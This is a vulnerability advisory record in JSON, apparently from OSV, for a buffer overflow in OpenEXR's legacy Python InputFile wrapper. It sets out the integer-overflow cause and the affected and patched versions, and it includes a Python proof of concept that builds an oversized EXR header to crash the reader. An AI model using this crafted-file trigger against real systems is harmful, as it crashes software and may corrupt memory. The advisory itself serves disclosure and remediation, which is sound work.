{"id":"CVE-2025-64182","aliases":["GHSA-vh63-9mqx-wmjr","PYSEC-2026-2851"],"title":"OpenEXR has buffer overflow in PyOpenEXR_old's channels() and channel()","summary":"OpenEXR has buffer overflow in PyOpenEXR_old's channels() and channel()","severity":"high","cvss":7.8,"cvssVector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","vendor":"openexr","product":"openexr","ecosystem":"pip","affected":["openexr >= 3.2.0, < 3.2.5","openexr >= 3.3.0, < 3.3.6","openexr >= 3.4.0, < 3.4.3"],"patched":["openexr 3.2.5","openexr 3.3.6","openexr 3.4.3"],"published":"2026-04-06","updated":"2026-07-13","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-vh63-9mqx-wmjr","references":[{"url":"https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-vh63-9mqx-wmjr"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-64182"},{"url":"https://github.com/AcademySoftwareFoundation/openexr"},{"url":"https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L528-L536"}],"tags":["osv","pip"],"epss":0.00243,"epssPercentile":0.15727,"ingestedAt":"2026-07-13T18:58:03.549Z","slug":"CVE-2025-64182","body":"## Overview\n\n### Summary\n\nA memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects.\n\nInteger overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit).\n\nThis bug was found with [ZeroPath](https://zeropath.com/?utm_source=joshua.hu).\n\n### Details\n\nInteger overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit), around [here](https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L528-L536).\n\n-   In `channel()`:\n\n    -   Width and height are derived from the header dataWindow using `int`.\n\n    -   `typeSize` is a `size_t`. The buffer size is computed as `typeSize * width * height` with no bounds checks.\n\n    -   The result is passed to `PyString_FromStringAndSize(NULL, size)` which maps to `PyBytes_FromStringAndSize`. That function expects `Py_ssize_t`. If the product overflows or exceeds `PY_SSIZE_T_MAX`, allocation fails or the value wraps.\n\n    -   The return value is not checked. The code immediately calls `PyString_AsString(r)` and proceeds to build a `FrameBuffer` and calls `readPixels(miny, maxy)`.\n\n    -   On 64 bit: `PyBytes_FromStringAndSize` returns NULL, the wrapper dereferences NULL and crashes.\\\n        On 32 bit: the multiplication can wrap to a small positive size, producing a too-small allocation, after which `readPixels` writes `typeSize * width` bytes per scanline for `height` lines into that buffer, causing a heap overflow.\n\n-   In `channels()` the same pattern appears for each requested channel. It also ignores per-channel subsampling when computing the allocation and when inserting the `Slice` it hardcodes `xSampling=1, ySampling=1`. If a file actually has subsampled channels this makes the stride and allocation inconsistent, which can also lead to over or under writes.\n\n### PoC\n\n```python\n# write_big_header_then_crash.py\nimport OpenEXR, Imath\n\n# OpenEXR sanity clamp for header coords is about INT_MAX/2 - 1\nINT_MAX = (1 << 31) - 1\nMAX_COORD = (INT_MAX // 2) - 1  # 1073741822\n\n# Choose a scanline width that keeps row-bytes < 2^31\n# 400,000,000 * 4 bytes = ~1.6 GB per scanline, which many codecs accept\nWIDTH = min(400_000_000, MAX_COORD + 1)   # pixels\nHEIGHT = 64                                # small height keeps the file tiny\n\n# Build windows from pixel counts\ndw = Imath.Box2i(Imath.V2i(0, 0), Imath.V2i(WIDTH - 1, HEIGHT - 1))\n\n# Robustly set NO_COMPRESSION across enum naming differences\ndef no_compression():\n    # Try common names, else fallback to numeric 0\n    C = Imath.Compression\n    for name in (\"NO_COMPRESSION\", \"NONE\", \"NO_COMPRESSION_ENUM\"):\n        if hasattr(C, name):\n            return Imath.Compression(getattr(C, name))\n    return Imath.Compression(0)\n\nhdr = {\n    \"dataWindow\": dw,\n    \"displayWindow\": dw,\n    \"channels\": {\"R\": Imath.Channel(Imath.PixelType(Imath.PixelType.FLOAT))},\n    \"compression\": no_compression(),\n    \"lineOrder\": Imath.LineOrder(Imath.LineOrder.INCREASING_Y),\n}\n\n# Write just the header (no pixels)\nout = OpenEXR.OutputFile(\"big_header.exr\", hdr)\nout.close()\n\n# Now trigger the legacy bug: huge allocation request returns NULL, code fails to check\nf = OpenEXR.InputFile(\"big_header.exr\")\nprint(\"Triggering crash...\")\nf.channels([\"R\"])\n```\n\n```\n$ python3 poc.py \nTriggering crash...\nlibc++abi: terminating due to uncaught exception of type Iex_3_4::InputExc: Unable to query scanline information\nAbort trap: 6              python3 poc.py\n```\n\n### Impact\nTypical memory stuff.\n\n## Affected packages\n\n- `openexr >= 3.2.0, < 3.2.5`\n- `openexr >= 3.3.0, < 3.3.6`\n- `openexr >= 3.4.0, < 3.4.3`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `openexr 3.2.5`\n- `openexr 3.3.6`\n- `openexr 3.4.3`","depth":"twilight","depthScore":43,"depthScoreParts":{"impact":42.9,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}